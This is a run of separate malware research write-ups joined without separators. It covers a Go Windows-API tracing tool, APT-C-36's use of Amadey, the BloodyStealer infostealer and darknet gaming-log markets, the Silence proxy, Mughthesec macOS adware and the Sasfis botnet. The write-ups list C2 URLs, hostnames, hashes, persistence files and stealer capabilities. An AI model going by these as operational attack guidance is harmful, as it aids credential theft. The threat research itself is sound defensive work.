uintptr(unsafe.Pointer(buf)), uintptr(unsafe.Pointer(n))) if r1 == 0 { err = errnoErr(e1) } return } ``` To understand what’s going on here let’s start looking at the `procGetComputerNameExW` variable being passed as the first parameter to the `Syscall` function. Checking a bit more into the `windows` package source we can see this `procGetComputerNameExW` variable being initialized earlier using both the `NewLazyDLL` and `NewProc` functions: ```go modkernel32 = NewLazySystemDLL("kernel32.dll") // Our target module procGetComputerNameExW = modkernel32.NewProc("GetComputerNameExW") // Our target function ``` The first thing to notice here is that there’s a lot of real Windows API function and DLL names being passed to those functions. At this point, we can start to assume this might have something to do with the API itself, so let’s keep going! What those two functions being used do is simply initialize the `procGetComputerNameExW` variable as a `LazyProc` and that will basically allow it to have access to the `Addr` function, which is the function being called in the parameter for the `syscall.Syscall` call: ```go // NewLazyDLL creates new LazyDLL associated with DLL file. func NewLazyDLL(name string) *LazyDLL { return &LazyDLL{Name: name} } ``` ### Resolving the Windows API Functions Once the `Addr` function is called it performs some calls here and there but the important function it calls is named `Find`. This function calls a function named `Load` followed by one named `FindProc`: ```go // Addr returns the address of the procedure represented by p. // The return value can be passed to Syscall to run the procedure. // It will panic if the procedure cannot be found. func (p *LazyProc) Addr() uintptr { p.mustFind() return p.proc.Addr() } // mustFind is like Find but panics if search fails. func (p *LazyProc) mustFind() { e := p.Find() if e != nil { panic(e) } } func (p *LazyProc) Find() error { if atomic.LoadPointer((*unsafe.Pointer)(unsafe.Pointer(&p.proc))) == nil { // Check if the func addr is not resolved already p.mu.Lock() defer p.mu.Unlock() if p.proc == nil { e := p.l.Load() // Attempt to load the module if e != nil { return e } proc, e := p.l.dll.FindProc(p.Name) // Resolve export function addr if e != nil { return e } atomic.StorePointer((*unsafe.Pointer)(unsafe.Pointer(&p.proc)), unsafe.Pointer(proc)) } } return nil } ``` If you’re a bit familiar with Windows and RE you probably already figured what’s going on here. The `Load` function is responsible for loading the module in which exports the requested Windows API function and `FindProc` resolves the exported function address. This steps are performed using the classic combination of `LoadLibrary + GetProcAddress`. ### The Go System Calls Alright, now let’s go back to the `GetComputerNameEx` function. Remember the `syscall.Syscall` call? It turns out that Golang defines several functions using the “Syscall” prefix and those are all wrappers to another function named `SyscallN`: ```go //go:linkname syscall_Syscall syscall.Syscall //go:nosplit func syscall_Syscall(fn, nargs, a1, a2, a3 uintptr) (r1, r2, err uintptr) { return syscall.SyscallN(fn, a1, a2, a3) } ``` The rule for the number following the “Syscall” prefix is based on the number of arguments the function takes. The `Syscall` takes up to 3 arguments, the `Syscall6` takes from 4 to 6, the `Syscall9` takes from 7 to 9 and so on. Why Go implements it this way? I’m not sure, maybe to avoid the need to create a “Syscall” function for each number of arguments (e.g., `Syscall1`, `Syscall2`, `Syscall3`, etc.), making it more generic?! I don’t know. The “downside” of this approach is that the number of parameters provided by Go to an API function might not be precise (e.g., `CreateFileW` would be invoked using 9 parameters but the real API call takes only 7). Either way, that would still work because Windows would not care about it and only handle the real parameters. ### Summary This explanation finishes up the whole flow of how binaries written in Go would resolve and call the Windows API functions. ## Tracing Golang Windows API Calls with gftrace After a lot of tests, I also noticed this function is present in a lot of Go versions (if not all), making this function very portable and reliable. I didn’t test all of the Go versions but I can say for sure it was there in a lot of different versions. With that in mind, I decided to create a tool to “abuse” the Go runtime behavior, specifically the `asmstdcall` function and this was how I ended up creating a Windows API tracing tool I named `gftrace`. ### How it Works The way it works is very straightforward; it injects the `gftrace.dll` file into a suspended process (the filepath is passed through the command line) and this DLL performs a mid-function hook inside the `asmstdcall` function. The main thread of the target process is then resumed and the target program starts. At this point, every Windows API call performed by the Go application is analyzed by `gftrace` and it decides if the obtained information needs to be logged or not based on the filters provided by the user. The tool will only log the functions specified by the user in the `gftrace.cfg` file. The tool collects all the API information manipulated by `asmstdcall`, formats it, and prints to the user. Since the hook is performed after the API call itself, `gftrace` is also able to collect the API function return value. ### Final Thoughts I need to say I had a lot of fun in this research and eventually I still play with it all. It made me learn a lot about how Golang internals work. There are a few other details I didn’t put here in this blog post but I might update it in the future. Regarding the source code, I’ve tried to put as many comments as possible and also make it very clean in order to be easy and nice for people to use to study, etc. The tool is still under development and probably has a lot of things to be improved so please treat it as a PoC code for now. Anyway, I hope you enjoyed the reading. Happy reversing!
# Analysis of Activities of Suspected APT-C-36 (Blind Eagle) Organization Launching Amadey Botnet Trojan **APT-C-36 (Blind Eagle)** is an APT organization suspected to come from South America. Its main targets are located in Colombia and some areas of South America such as Ecuador and Panama. Since its discovery in 2018, the organization has continued to launch targeted attacks against government departments, finance, insurance, and other industries, as well as large companies in Colombia. During the tracking of the APT-C-36 organization, we found that the organization is constantly trying new attack streams and attempting to add the Amadey botnet Trojan to its arsenal. ## 1. Analysis of Attack Activities In daily hunting activities, we discovered that the APT-C-36 organization recently attempted to add the Amadey botnet Trojan to its usual PDF spear phishing attack flow. The Amadey botnet Trojan is a modular botnet Trojan that appeared for sale on Russian hacker forums around October 2018. It has capabilities of intranet traversal, information theft, remote command execution, script execution, and DDoS attacks. ### 1. Attack Process Analysis The attack flow of the Amadey botnet Trojan was used in this campaign. 1. **Load Delivery Analysis** The decoy PDF document downloads an encrypted compressed package containing a malicious VBS script from a third-party cloud service. 2. **Malicious Code Data** Malicious code data is embedded in VBS. The PowerShell exploit script code is generated by replacing special characters and decrypted by base64. The PowerShell code downloads two payloads from a third-party platform for loading and running. ### 3. Attack Component Analysis One of the two payloads is net_dll for reflection loading, which can be seen frequently used by APT-C-36 in previous attacks; the other is the Amadey botnet Trojan. As a relatively complete botnet Trojan, Amadey has: sandbox, persistence, permission acquisition, script execution, remote control, data theft, and other functions. **Net_dll** The PowerShell script decrypts the net_dll payload data by downloading it from a third-party platform and calls the `CdWDdB.DKeSvl.NnIaUq` method to implement reflective loading. The net_dll is a common component of APT-C-36 and is mainly used for persistence and loading the next stage of payload execution. After net_dll is run, a VBS and PS1 script will be created in the `%TEMP%` folder of the computer for persistence. Continue to download the next-stage payload encoding data from the third-party platform, reverse the encoded data, replace special characters, and base64 decode the encoded data to obtain the next-stage payload. The processed net_dll payload data is loaded reflectively by calling its `KoAOkX.MXuuJb.WwQTZc` method. In the second stage, after net_dll is run, the AsyncRAT Trojan is injected into the system process to run. **Amadey** The base64 encoded data downloaded by the PowerShell script code from another third-party platform is the Amadey botnet Trojan. As a relatively complete botnet Trojan, Amadey has: anti-sandbox, persistence, permission acquisition, script execution, command execution, lateral movement, DDoS attacks, data theft, and other functional plug-ins. - **MD5**: 461A67CE40F4A12863244EFEEF5EBC26 - **Size**: 237056 (bytes) - **Type**: WIN32 EXE After running the distributed Amadey, it will download three files: cred.dll, clip.dll, and onLyofFicED.bat. The DLL file is Amadey’s information collection component and is used to steal user privacy data such as browser accounts. The BAT file is for executing malicious scripts. During the file request process, Amadey will send specific fields to the CC server based on the current computer information. | Field | Meaning | |-------|---------| | ID | Infected machine ID | | vs | Amadey version number | | sd | Amadey ID | | os | System version | | bi | Number of system bits | | ar | Do you have administrator rights? | | pc | Computer name | | un | Username | | DM | Current domain | | av | Install anti-virus software | | lv | Get Task Content | | og | None | In the BAT file, the attacker uses base64 encryption + AES + Gzip to encrypt the two executable programs and embed them into the script file. After the BAT script is run, the ciphertext data is located through the ":" symbol, decrypted, and loaded in sequence. One of the executable programs is the CrubCrypt encryptor. After running, it Gzip decompresses the Remcos compressed data of the resource and then loads and runs it. ## 2. Attribution Research and Judgment The bait PDF file used in this spear phishing incident, the malicious code obfuscation method used, and the subsequent payload are consistent with those used by APT-C-36 in previous activities. During the continuous tracking of APT-C-36, we found that the organization continues to launch attacks in Ecuador and other regions and constantly tries to add new Trojan tools to its arsenal to improve its attack capabilities. It is foreseeable that APT-C-36 may turn its attention to new areas in the future, and its own attack capabilities will become more complex. ## Appendix IOC - 20561F6497492900567CBF08A20AFCCA - 42DD207E642CEC5A12839257DF892CA9 - 461A67CE40F4A12863244EFEEF5EBC26 - FDD66DC414647B87AA1688610337133B - 5590C7E442E8D2BC857813C008CE4A6C - 303ACDC5A695A27A91FEA715AE8FDFB8 - FECB399CAE4861440DF73EAA7110F52C - C92A9FA4306F7912D3AF58C2A75682FD - 57A169A5A3CA09A0EDE3FEDC50E6D222 - 05B99BEE0D8BA95F5CCB1D356939DAA8 - 64E6B811153C4452837E187A10D54665 - c1eeb77920357a53e271091f85618bd9 **360 Advanced Threat Research Institute** is the core capability support department of 360 Digital Security Group. It is composed of 360 senior security experts. It focuses on the discovery, defense, disposal, and research of advanced threats. It has been the first to capture Double Kill, Double Star, and Nightmare Formula globally. It has conducted many well-known zero-day attacks in the wild and exclusively disclosed the advanced actions of multiple national APT organizations, winning widespread recognition within and outside the industry and providing strong support for 360 to ensure national network security.
# BloodyStealer and Gaming Assets for Sale **Authors** Leonid Bezvershenko Dmitry Galov Marc Rivero ## Part 2 of Gaming-Related Cyberthreat Report Earlier this year, we covered the threats related to gaming and looked at the changes from 2020 and the first half of 2021 in mobile and PC games as well as various phishing schemes that capitalize on video games. Many of the threats faced by gamers are associated with loss of personal data, particularly accounts with various gaming services. This tendency is not unique to PC or mobile games or to the gaming industry as a whole. Nevertheless, as games offer users plenty of in-game goodies and even feature their own currencies, gaming accounts are of particular interest to cybercriminals. In this report, we take a closer look at threats linked to loss of accounts with popular video game digital distribution services, such as Steam and Origin. We also explore the kind of game-related data that ends up on the black market and the prices. ## Background In March 2021, we noticed an advertisement for malware named “BloodyStealer” on a Russian-speaking underground forum. According to the ad, BloodyStealer was a malicious stealer capable of fetching session data and passwords, and cookie exfiltration, and protected against reverse engineering and malware analysis in general. A buyer can use Telegram channels as well as traditional web panels for communication with the C&C. The author offered potential customers to get in touch via Telegram. The price of BloodyStealer is 700 RUB (less than $10) for one month or 3000 RUB (approx. $40) for lifetime. The ad highlights the following features of BloodyStealer (translated from Russian as is): - Grabber for cookies, passwords, forms, bank cards from browsers - Stealer for all information about the PC and screenshots - Steals sessions from the following clients: Bethesda, Epic Games, GOG, Origin, Steam, Telegram, VimeWorld - Steals files from the desktop (.txt) and the uTorrent client - Collects logs from the memory - Duplicate logging protection - Reverse engineering protection - Not functional in the CIS What caught our attention is BloodyStealer’s capability to fetch information related to computer games installed on an infected system. BloodyStealer targets major online gaming platforms, such as Steam, Epic Games Store, EA Origin, etc. At the time of our investigation, the forum thread related to BloodyStealer was publicly unavailable, but the analysis of visible information on the forum revealed that discussions relating to BloodyStealer still continued in private channels. This, along with the fact that visible stealer activity had been observed since its release, suggested that the threat actor behind BloodyStealer had decided to offer its product only to VIP members of underground forums. Kaspersky products detect the threat as Trojan-Spy.MSIL.Stealer.gen. For additional technical information about BloodyStealer (malicious techniques, YARA rules, etc.), please contact financialintel@kaspersky.com. ## BloodyStealer Technical Details ### Anti-analysis During our research, we were able to identify several anti-analysis methods that were used to complicate reverse engineering and analysis of BloodyStealer, including the usage of packers and anti-debugging techniques. As the stealer is sold on the underground market, every customer can protect their sample with a packer of their choice or include it into a multistage infection chain. We had been monitoring BloodyStealer since its announcement, so we were able to notice that the majority of the BloodyStealer samples were protected with a commercial solution named “AgileNet”. While analyzing samples discovered in the wild, we found that some of them were protected not only with AgileNet but also with other, very popular, protection tools for the .NET environment, such as Confuser. ### Victim Identification, Communication with the C&C and Data Exfiltration BloodyStealer is capable of assigning a unique identifier to every infected victim. The identifier is created by extracting data, such as the GUID and serial number (SID) of the system. This information is extracted at runtime. Besides this identification, BloodyStealer extracts the public IP address of the C&C by requesting the information from the domain whatleaks[.]com. After assigning a UID to the victim and getting the C&C IP address, BloodyStealer extracts various data from the infected machine, creates a POST request with information about the exfiltrated data, and sends it to the malicious C&C. The data itself is sent to the configured C&C server later as a non-protected ZIP archive and has the structure shown below. The IP address configured in the infected system is used as the name of the ZIP archive. ### BloodyStealer as Part of a Multistage Infection Chain In our analysis of BloodyStealer samples, we found out how various threat actors who had acquired this product decided to use the stealer as a part of other malware execution chains, for example, KeyBase or Agent Tesla. The criminals who combined the stealer component with other malware families also protected BloodyStealer with other packers, such as Themida. ### Command and Control As mentioned above, BloodyStealer sends all exfiltrated data to a C&C server. Cybercriminals can access the data by using Telegram or via a web panel. The collected data can then be sold to other cybercriminals, who in turn will try to monetize it. When a criminal is logged in to the C&C web panel, they will see a basic dashboard with victim-related statistics. While pivoting through the structure used for allocating the content panel, we were able to identify the second C&C server located at hxxp://gwrg23445b235245ner.mcdir[.]me/4/654/login.php. Both C&C servers are placed behind Cloudflare, which hides their original IPs and provides a layer of protection against DDoS and web attacks. ## Victimology BloodyStealer is still quite new on the market when compared to other existent malware tools; however, by analyzing available telemetry data, we have found detections of BloodyStealer in Europe, Latin America, and the APAC region. At the time of the investigation, we observed that BloodyStealer mostly affected home users. ## Next Links in the Chain: Darknet Markets Unfortunately, BloodyStealer is just one example of stealers targeting gamers. With many more in use, cybercriminals gather a significant number of game-related logs, login credentials, and other data, spurring a well-developed supply and demand chain for stolen credentials on the dark web. In this section, we will dig deeper into the dark gaming market and look at the types of game-related items available there. Our experts, who specialize in understanding what goes on on the dark web, conducted research on the current state of user data as a commodity on these platforms to find out what kind of personal data is in demand, what it is used for, and how much it costs. ### Wholesale Deals Dark web sellers provide a broad variety of goods, sold both wholesale and retail. Specifically, one of the most popular wholesale products is logs. In these examples, cybercriminals offer logs: an archive containing more than 65,000 logs for $150 and packages with 1,000 private logs for $300. Logs are credentials that are needed for accessing an account. These typically take the form of saved browser cookies, information about server logins, screenshots of the desktop, etc. They are the key for accessing victims’ accounts. Logs might be outdated, contain only old game sessions, or even have no account-related data. That is why they need to be checked before use. In the chain of log sales, there are several roles. Firstly, there are people who steal logs with the help of botnets or phishing schemes. These are the operators. The operators might have thousands of collected logs in their clouds, but this whole data stream needs to be validated. To process the logs, the cybercriminal needs to check whether the login and password combination is still relevant, how many days have passed since the last password or email change (that is, whether the victim has found out that the account was stolen), and check the balance. The fraudsters might do it on their own, but this may prove quite time-consuming with thousands of logs to go through. For this, there are log checkers: cybercriminals who own special tools for processing logs. The software collects statistics about processed logs, and the checker gets a share of the profits: typically, 40%. It is possible to purchase logs per unit and process them manually or purchase in bulk and process with the help of specialized services. The average price per log is 34¢; the price per 100 logs is $17.83. ### Retail Options If the cybercriminal specializes in small sales (two to ten items), then the type of goods they offer on the darknet will include certain games, in-game items, and accounts with popular gaming platforms. Importantly, these products are typically offered at just 60-70% of their original price, so customers get a good deal on darknet markets. Some criminals can possess thousands of accounts and offer access to these at an enormous discount, as many of these accounts are useless: some cost nothing, and others have already been recovered by their original owners. Dark web sellers offer stolen accounts, the important selection criteria being the number of games available in the account and how long ago the account was created. Games and add-ons are not cheap, and this is where cybercriminals enter the fray, offering the same popular games at significantly lower prices. In addition to Steam, accounts on gaming platforms, such as Origin, Ubisoft Store, GOG, and Battle.net, also get stolen and resold. In addition to certain games and accounts, cybercriminals also sell rare equipment from a wide range of games with a discount of 30-40% off the original price. This is possible if the Steam account that owns the items has no restrictions on sending gifts to other players, e.g., no email confirmation requirement. Some cybercriminals also sell so-called “Steam balance.” Depending on the origin, Steam balance can be “white” or “black.” White means sold from the seller’s own account. A player could get tired of the game and decide to sell their account, along with all associated in-game goodies, offering it on the black market, as Valve does not approve this kind of deals. Accounts like that can be used for illegal activity, such as fraud or money laundering as they do not – yet – look suspicious to Steam. Black balance means that the Steam accounts were obtained illegally, e.g., through phishing, social engineering, or other cybercriminal techniques. Cybercriminals do their best to withdraw money by buying Steam cards, in-game items, gifts, etc., before the original owners retake control of their property with the help of the support service. ### Conclusion This overview demonstrates the structure of the game log and login stealing business. With the gaming industry growing, we do not expect this cybercriminal activity to wane in the future – on the opposite, this is the area in which we are likely to see more attacks as tools for targeting gamers continue to develop. BloodyStealer is a prime example of an advanced tool used by cybercriminals to penetrate the gaming market. With its efficient anti-detection techniques and attractive pricing, it is sure to be seen in combination with other malware families soon. Furthermore, with its interesting capabilities, such as extraction of browser passwords, cookies, and environment information as well as grabbing information related to online gaming platforms, BloodyStealer provides value in terms of data that can be stolen from gamers and later sold on the darknet. The overview of game-related goods sold on the darknet forums, too, confirms that this is a lucrative niche for cybercriminals. With online gaming platform accounts holding valuable in-game goods and currency, these become a juicy target. Although purchasing accounts is a gamble, as these may or may not contain goods that can be sold, cybercriminals are willing to take a bet – and are certain to find customers that are looking to save on entertainment. To minimize the risks of losing your gaming account, follow these simple tips: - Wherever possible, protect your accounts with two-factor authentication. For others, comb through account settings. - A strong, reliable security solution will be a great help to you, especially if it will not slow down your computer while you are playing. At the same time, it will protect you from all possible cyberthreats. - It is safer to buy games on official sites only and wait for the sales – these take place fairly often and are typically tied to big holidays such as Halloween, Christmas, and Saint Valentine’s Day. - Try to avoid buying the first thing that pops up. Even during Steam’s summer sale, before forking out the dough for a little-known title, at least read some reviews of it. If something is fishy, people will probably have figured it out. - Beware of phishing campaigns and unfamiliar gamers contacting you. It is a good idea to double-check before clicking website links you receive via email and the extensions of files you are about to open. - Try not to click on any links to external sites from the game chat, and carefully check the address of any resource that requests you to enter your username and password: the page may be fake.
# Some Notes on the Silence Proxy In August 2018, Group-IB published research regarding a financially-motivated group referred to by the community as Silence. Included in this report is the mention of a proxy tool that the group uses to route traffic to and from devices on an infected network that are normally isolated from the Internet. Although the tool is simple (and in development), it has not yet been well-documented in the public space. This may partly be because the tool is relatively rare: Group-IB describes Silence as a small group performing a limited set of activities. For researchers to obtain a copy, the Silence proxy would have to be deployed post-compromise, identified during incident response, and uploaded online. Given the rarity, some notes on the .NET version of this tool are below as a reference to future analysts. ## Technical Details **Files examined:** - 50565c4b80f41d2e7eb989cd24082aab (New) - 8191dae4bdeda349bda38fd5791cb66f (Old) The Silence proxy is written in .NET and known versions are packed with SmartAssembly. This can be unpacked automatically using a tool such as De4Dot to facilitate static analysis; however, this can lead to issues during debugging (with a tool such as DnSpy) that prevent the malware from properly executing. In the two known samples, the malware’s source code is readable even without this step. The Silence proxy performs four basic tasks: 1. The malware reads and parses its configuration. 2. The malware enters a switch/case statement based on a configuration value. 3. The malware opens a connection to a specified C2, the type of which depends on task 2. 4. (Optional) The malware can perform status logging (to a local location that varies by sample). In the sample analyzed, the configuration specifies the following: - **BackConnectServerIP** – C2 server IP - **BackConnectServerPort** – C2 server port - **ConfiguredAs** – Type of connection (used in the Case/Switch statement) - **DomainName** – Used for NtlmAuth case - **PortToListen** – Listening port - **ProxyIP** – Endpoint IP - **ProxyPort** – Endpoint Port - **UserName** – Used for authentication cases - **UserPassword** – Used for authentication cases From here, the tool passes the ConfiguredAs value into a Case/Switch statement that determines what type of connection to open. This routine is not fully implemented, and thus serves as an excellent example for malware that is “under development.” In total, the tool supports (or likely will support) the following cases, which represent the functionality of the malware: - **SocksServer** – Act as a listener for network traffic - **DirectBackConnector** – Open a connection to a specified IP and accept the response - **ProxyBackConnector** – Open a connection to a specified IP and route the response to another device - **ProxyBackConnectorWithAuth** – Not implemented, likely intended as proxy + regular (non-domain) credentials - **ProxyBackConnectorWithNtlmAuth** – Proxy with an implementation to pass domain credentials As mentioned at the start of the post, this is not a complex tool. Despite this, its appearance on the network should be cause for concern, as it is indicative of an adversary that is attempting to route traffic to and from a specific isolated device.
# WTF is Mughthesec!? ## Background Yesterday Gavriel State (@gavrielstate) posted an interesting tweet: Interestingly, googling "Mughthesec" only returned one relevant hit; a post on Apple's online forums titled "Safari does not render Gmail correctly." Posted on August 2nd, user 'giveen' stated that, "Only in Safari, when this specific user logs in, it does not render Gmail correctly. Only Gmail. Only in Safari." Following another user's suggestion, 'giveen' ran EtreCheck which noted several "unknown files": - ~/Library/LaunchAgents/com.Mughthesec.plist - ~/Library/Application Support/com.Mughthesec/Mughthesec Gavriel was kind enough to share a sample ('Mughthesec') with me, and that, coupled with the assistance from another security researcher, led to recovery of what appeared to be the original installer (sha256: f5d76324cb8fcae7f00b6825e4c110ddfd6b32db452f1eca0f4cff958316869c). As neither the sample, Mughthesec, nor the (signed!) installer were detected by any AV engines on Virus Total, I decided to take a closer look. ## Analysis Let's start with the installer disk image. Uploaded to VirusTotal on August 4th as Player.dmg, it currently remains undetected. Using WhatsYourSign, we can examine the signing info. Using spctl, we can confirm the disk image's certificate is still valid (i.e. not rejected): ```bash $ spctl -a -t install -vv ~/Downloads/Mughthesec/Player.dmg ~/Downloads/Mughthesec/player.dmg: accepted source=Developer ID origin=Developer ID Application: Quoc Thinh (9G2J3967H9) ``` Double-clicking the disk image, Player.dmg mounts it, revealing a single file Installer.app. Besides its icon and name, the Installer.app's Info.plist file shows it masquerading as Flash installer: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CFBundleIdentifier</key> <string>com.FlashPlayer</string> <key>CFBundleName</key> <string>FlashPlayerInstaller</string> </dict> </plist> ``` This application is also signed with the same Apple Developer ID. Examining its application bundle, we can see its executable is a binary named 'mac'. This binary is also (currently) undetected by any AV engine on Virus Total. Taking a quick peek at the installer binary shows what appears to be anti-anti-virus logic. We can also run strings to search for embedded URLs: ```bash $ strings -a ~/Downloads/Mughthesec/Installer.app/Contents/MacOS/mac | grep http http://api.simplyeapps.com/p http://cdn.simplyeapps.com/screens/precheck/DmFybQ== http://cdn.simplyeapps.com/screens/progress/DmFybQ== http://cdn.simplyeapps.com/screens/complete/DmFybQ== http://api.simplyeapps.com/l ``` Now, before we run this in a VM, let's change the MAC address of the virtual machine. This is a required step because it turns out that the installer actually doesn't do anything malicious (besides actually installing a legit copy of Flash) if it detects it running in a VM. Thomas Reed (@thomasareed) correctly guessed that this 'VM detection' is done by examining the MAC address (VMWare VMs have 'recognizable' MAC addresses). Apparently, this is a common trick used in macOS adware! To change the VM's MAC address, shut it down, then change it via the VM's Network Adapter's settings (click 'Advanced Options' to modify the MAC address). Alright, let's run the Installer.app already! First thing, LuLu (my soon-to-be-released macOS firewall!) detects an outgoing network connection. Once the outgoing connection is allowed, the Installer application kindly asks the user to install some 'adware' and potentially unwanted programs: 1. Advanced Mac Cleaner 2. Safe Finder 3. Booking.com Since we're playing along, we click 'Next' to install it all! Not too unexpectedly, the Advanced Mac Cleaner triggers a few BlockBlock warnings as it attempts to install a persistent launch agent and login item. It also kindly informs us of several 'critical' issues. How thoughtful. Moving on to 'Safe Finder', BlockBlock alerts us of a process named 'i' persisting something named 'Mughthesec' as a launch agent. An open-source process monitoring utility I wrote (based on the Proc Info library) shows Mughthesec being started by the Installer application (FlashPlayerInstaller, pid: 490): ```bash # procMonitor process start: pid: 532 path: /private/tmp/F3A53281-D3FA-4F32-B996-3EE0FCF522D5/62/Mughthesec user: 501 args: ( "/tmp/F3A53281-D3FA-4F32-B996-3EE0FCF522D5/62/Mughthesec", 2, na, na, "F3A53281-D3FA-4F32-B996-3EE0FCF522D5" ) ancestors: ( 490, 1 ) binary: name: Mughthesec path: /private/tmp/F3A53281-D3FA-4F32-B996-3EE0FCF522D5/62/Mughthesec signing info: { signatureStatus = "-67062"; } (isApple: 0 / isAppStore: 0) ``` The process monitor also shows this process (Mughthesec, pid: 532) spawning the 'i' process out of /tmp: ```bash # procMonitor process start: pid: 568 path: /private/tmp/5E0BE2D2-7AD7-4005-8B1C-A635675BB4FD/15261EBB-ED0B-46DA-8C3B-AE8C02E802B3/i user: 501 args: ( "/tmp/5E0BE2D2-7AD7-4005-8B1C-A635675BB4FD/15261EBB-ED0B-46DA-8C3B-AE8C02E802B3/i", "5E0BE2D2-7AD7-4005-8B1C-A635675BB4FD", "S+wIS+tmwyirlkak8AAF36JIq8TSRdg...==", 10 ) ancestors: ( 532, 490, 1 ) binary: name: i path: /private/tmp/5E0BE2D2-7AD7-4005-8B1C-A635675BB4FD/15261EBB-ED0B-46DA-8C3B-AE8C02E802B3/i signing info: { signatureStatus = "-67062"; } (isApple: 0 / isAppStore: 0) ``` This 'i' process is what persists and starts the 'launch agent' instance of Mughthesec. We can see this, again, via the process monitor which shows process 'i' (pid: 568) invoking launchctl with the 'load' command line option and the path to the launch agent plist: ```bash # procMonitor process start: pid: 576 path: /bin/launchctl user: 501 args: ( "/bin/launchctl", load, "/Users/user/Library/LaunchAgents/com.Mughthesec.plist" ) ancestors: ( 568, 532, 490, 1 ) binary: name: launchctl path: /bin/launchctl signing info: { signatureStatus = 0; signedByApple = 1; signingAuthorities = ( "Software Signing", "Apple Code Signing Certification Authority", "Apple Root CA" ); } (isApple: 1 / isAppStore: 0) ``` Ok, so let's take a closer look at the Mughthesec launch agent and binary. The Mughthesec launch agent plist is located at ~/Library/LaunchAgents/com.Mughthesec.plist: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.Mughthesec</string> <key>ProgramArguments</key> <array> <string>/Users/user/Library/Application Support/com.Mughthesec/Mughthesec</string> <string>r</string> </array> <key>RunAtLoad</key> <true /> <key>StartInterval</key> <integer>14400</integer> </dict> </plist> ``` From this plist, we can see that the launch agent will: 1. Execute a binary: ~/Library/Application Support/com.Mughthesec/Mughthesec 2. Pass in a parameter: 'r' 3. Be automatically started whenever the user logs in, as 'RunAtLoad' is set to true The 'Mughthesec' binary, ~/Library/Application Support/com.Mughthesec/Mughthesec, is unsigned: ```bash $ codesign -dvvv "~/Library/Application Support/com.Mughthesec/Mughthesec" ~/Library/Application Support/com.Mughthesec/Mughthesec: code object is not signed at all ``` It is also (currently) undetected by any AV engines on VirusTotal. Running strings shows some embedded URLs: ```bash $ strings -a ~/Library/Application Support/com.Mughthesec/Mughthesec | grep http http://api.mughthesec.com/ai http://api.mughthesec.com/l ``` Attempting to access those URLs in a browser appears to result in an error. However, the host mughthesec.com does appear to be online, resolving to 192.64.119.107: ```bash $ nslookup mughthesec.com Non-authoritative answer: Name: mughthesec.com Address: 192.64.119.107 ``` This IP address, 192.64.119.107, appears to be rather malicious. So what does the Mughthesec binary actually do? Let's take a peek! However, I want to point out that I've learned (the hard way) that spending a large amount of time reversing adware can quickly drive one somewhat mad...so here, we'll only perform a cursory look. A common tactic of adware is to hijack the victim's browser (homepage, inject ads, etc.) for financial gain. Mughthesec (which is installed when the user "agrees" to install "Safe Finder") appears to conform to this goal. Specifically, we can see that Safari's home page has been set to: ``` http://default27061330-a.akamaihd.net/s?q=@@@&_pg=564D4420-C090-470B-9C13-6760B31264E7 ``` If we open Safari, indeed the home page has been hijacked - though in a seemingly innocuous way. It simply displays a rather 'clean' search page - though looking at the source, we can see the inclusion of several 'Safe Finder' scripts. Also, examining the installed extensions, we can see that an "Any Search" browser extension was installed. Searches are funneled through various affiliates, before ending up being serviced by Yahoo Search. However, 'Safe Finder' logic (such as an icon, and likely other scripts) are injected into all search results. At this point, I'm calling it a night! It appears that Mughthesec is simply some 'run-of-the-mill' macOS malware. But is it new? Not likely. According to the mac adware analysis guru, Thomas Reed; this "looks like a new variant of something we call OperatorMac." Moreover, @noarfromspace pointed me towards several samples from earlier this year (spring?) that appear to be related. ## Conclusion In the blog post, we sought to answer the question, "What is Mughthesec?" The answer: likely a new variant of the 'SafeFinder/OperatorMac' adware. Yes, it's rather unsophisticated macOS malware, but its installer is signed (to 'bypass' Gatekeeper) and at the time of this analysis, no anti-virus engines detected it...and mac users are being infected. Speaking of infection, due to the fact that the installer is masquerading as a Flash Player installer, it's likely that this adware is relying on common infection techniques to gain new victims. If I had to guess its infection vector is likely one (or all?) of the following: - Fake popups on 'shady' websites - Malicious ads, perhaps on legit websites Either way, user interaction is likely required. In terms of detection, we showed how BlockBlock will alert when the adware goes to persist. Neat! KnockKnock can also be used to (after the fact), to reveal infections. For example, it can reveal the presence of the unsigned launch agent. And what about the malicious browser extension? Yup, KnockKnock can show that too. To manually disinfect Mughthesec: - Unload the launch agent via: `launchctl unload ~/Library/LaunchAgents/com.Mughthesec.plist` - Delete `~/Library/Application Support/com.Mughthesec/Mughthesec` - Delete `~/Library/LaunchAgents/com.Mughthesec.plist` - Delete the 'Any Search' browser extension However, as we saw, the Installer application could install other 'adware' - so it's probably best to just reinstall macOS.
# Tracking the 2012 Sasfis Campaign **Micky Pun** **Fortinet, Canada** **Editor: Helen Martin** **Date: 2012-11-01** ## Abstract Micky Pun unveils all the important nuts and bolts of the latest instalment of the Sasfis botnet by analysing its packers, core payloads and botnet operations. Researchers at Fortinet have been tracking the Sasfis malware campaign since a surge of new samples surfaced in late May 2012. By early August, the Sasfis botnet had already undergone five major changes. In this article, we will unveil all the important nuts and bolts of the latest instalment of the Sasfis botnet by analysing its packers, core payloads and botnet operations (including its relationship with the Asprox spambot). We will also discuss its connection with the Dofoil campaign, which was highly active until the rise of the new Sasfis botnet. ## Sample Delivery From the samples we have collected since May, it is evident that the Asprox spambot is used by Sasfis as its sole spreading mechanism. Carrying on its tradition, Asprox initially used the name of a trusted delivery company as the bait to trick users into opening an executable email attachment with a document icon. In early August, however, it was observed that the spam had been improved by replacing the email content with an image containing the same text. The image encourages the user to click on it – in doing so downloading another malicious executable with a document icon. After executing the file, the payload deletes the executable and opens a blank text file in Notepad at the current location to divert the user’s attention. These changes provide some benefits to Asprox in that the malware sample is no longer attached to the spam (which previously could easily be blocked by firewalls with up-to-date malware definitions). In addition, storing the malware online makes the botnet operation more dynamic and effective; rapid replacement of the sample makes effective sample collection difficult and hence challenges anti-virus vendors that use checksum-based detection. ## Packer The new Sasfis is packed with a custom packer which releases a DLL PE file into memory. While unpacking the malware, you will notice that the initial part of the custom packer consists of obfuscating instructions, sometimes combined with anti-debug or anti-virtual-environment techniques that aim to make it difficult for humans or emulators to determine the start of the malicious code. After successfully unpacking the custom packer, we find in the allocated memory a payload DLL wrapped in a DLL loader, which in turn is 